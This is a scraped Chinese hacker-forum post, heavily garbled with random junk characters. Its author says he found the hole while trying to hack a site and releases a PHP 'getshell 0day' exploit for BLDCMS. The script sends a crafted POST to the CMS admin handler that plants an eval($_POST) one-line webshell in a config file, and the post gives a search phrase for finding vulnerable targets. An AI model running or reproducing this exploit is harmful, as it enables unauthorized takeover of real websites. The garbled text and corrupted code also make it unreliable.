之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
' }* h' e7 S% E: s1 O! ?& a1 C9 j3 }% s1 {' K* k
* k+ G' |% k. s- {0 j话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 5 }2 g/ f; s. j
6 {; J0 |8 p# A& p既然都有人发了 我就把我之前写好的EXP放出来吧 r. o1 ^$ y1 d8 M4 i0 f" L3 f( Q
# D' _1 w; l( L) F2 m& I* d) ?
view source print?01.php;">
. j$ Q& v" F. e/ N1 ?) i' s02.<!--?php
! Z, J* s# Y) j( z$ |9 @1 p2 D/ r03.echo "-------------------------------------------------------------------
2 P7 I0 @7 B7 z# R s r% a( Y, D& L04. 2 e$ ^; x$ [5 ]! Z
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
) m3 D! P7 j, {06. % O+ D' e1 t6 U) ~9 y6 B4 r# X! `
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun L1 i9 w; S0 H
08. 3 _: I9 |9 ?; J+ d: @. k, X9 y
09.QQ:981009941\r\n 2013.3.21\r\n 8 T4 z7 |) `( D4 l6 D0 v2 A
10. 2 Z1 U8 [# I' g$ V) T4 G
11. + ~; n+ f. I( ]( }9 W
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码3 r2 [4 I4 g7 @& X0 g& G" h; n2 Q
13. ! V/ P- A; S" A. W( [" X
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------7 M. p( G2 l# ^ P
15.
1 h. R: `0 \2 q1 { l! E" O16.--------------------------------------------------------------------\r\n";
, [; J" c: E2 e, D4 M17.$url=$argv[1];
* @+ a i7 q* x$ z2 V9 S4 Q18.$dir=$argv[2];
8 h8 X9 a8 [) Q; |+ a19.$pass=$argv[3];
1 K- L7 y' k; E; k3 O& o20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';) z1 A6 V0 { E$ |
21.if (emptyempty($pass)||emptyempty($url))
/ B) I5 Z. ^2 v$ X! N22.{exit("请输入参数");}9 n% t' t F* r u1 c+ g; Q
23.else: d! t& `) B8 [' {9 Q0 ^
24.{
3 r. A2 x% y3 G. v8 o% e: u25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
1 t+ p4 Z4 }/ `6 B7 S4 C2 V26. H W% S3 y, v+ `2 X/ P
27.al;8 I# }4 c0 L# u! {7 D
28.$length = strlen($fuckdata);" o0 Q. }! M; K7 Q
29.function getshell($url,$pass)1 U" l4 _" z, H. g4 I1 Q+ M
30.{4 h! P$ ?3 i: g
31.global $url,$dir,$pass,$eval,$length,$fuckdata;/ f6 X0 J5 n) x3 U7 Y6 @" T
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";7 x, {) j$ ^2 B' |0 j
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
) M" A( T$ j9 L: R. y8 k% w# z" d34.$header .= "User-Agent: MSIE\r\n";
0 B: q0 }- l3 x7 N35.$header .= "Host:".$url."\r\n";( g* L1 h5 P h& l
36.$header .= "Content-Length: ".$length."\r\n";. {3 P9 ^8 {& G5 H
37.$header .= "Connection: Close\r\n";; c% Z" x3 e* x/ k# _
38.$header .="\r\n";
. f1 }1 T1 u5 S+ }& ~% m4 C% M$ J39.$header .= $fuckdata."\r\n\r\n";% r& a6 v' ]9 K! ?
40.$fp = fsockopen($url, 80,$errno,$errstr,15);9 D, H: F% \ ^
41.if (!$fp)
) W/ _; ] I) w42.{" g% R& ]0 o O2 ]! M3 r( ^4 ?
43.exit ("利用失败:请检查指定目标是否能正常打开");
' q; v+ K, u8 G# H* w& D44.}- H% ?' r, `/ o& r( [5 L) ~* U
45.else{ if (!fputs($fp,$header))9 ^7 K% R( i- n! M6 a- i ]* t
46.{exit ("利用失败");}' ~5 N" k1 E1 G i$ Y" l
47.else
2 K" d# A; a& w; f8 J: d. v4 w48.{
( b6 [% {0 I" Z49.$receive = '';
% B$ m- {$ p) ]2 u50.while (!feof($fp)) {
) y0 y: C; T: z: t9 R. f51.$receive .= @fgets($fp, 1000);( \( \$ z% k3 h* P# K, D6 f1 F
52.}
: a: ~5 K) b; v# U7 D0 r* Z53.@fclose($fp);
9 G" _3 R4 W) L% `54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
: Q- K' L) U) I8 |7 ?/ b1 f( J7 p5 J, G55. . j6 N+ |! |% O. [1 p* B
56.GPC是否=off)";
- X2 k) E/ e" b D( z L" ]: Q57.}}* q' C" U- S, r" V
58.}; w" _' g: c# u6 L
59.}
5 Y, C$ P/ ]0 y60.getshell($url,$pass);/ _2 ]4 [5 B8 e# H- F5 m; P
61.?-->0 E7 L6 g$ {' {
) o! }1 K7 q5 ^' b0 V& J3 B# a/ @( X9 e7 c
]$ m. E- F/ t! B; @. X! Bby 数据流
- n2 u5 U( G* M5 W |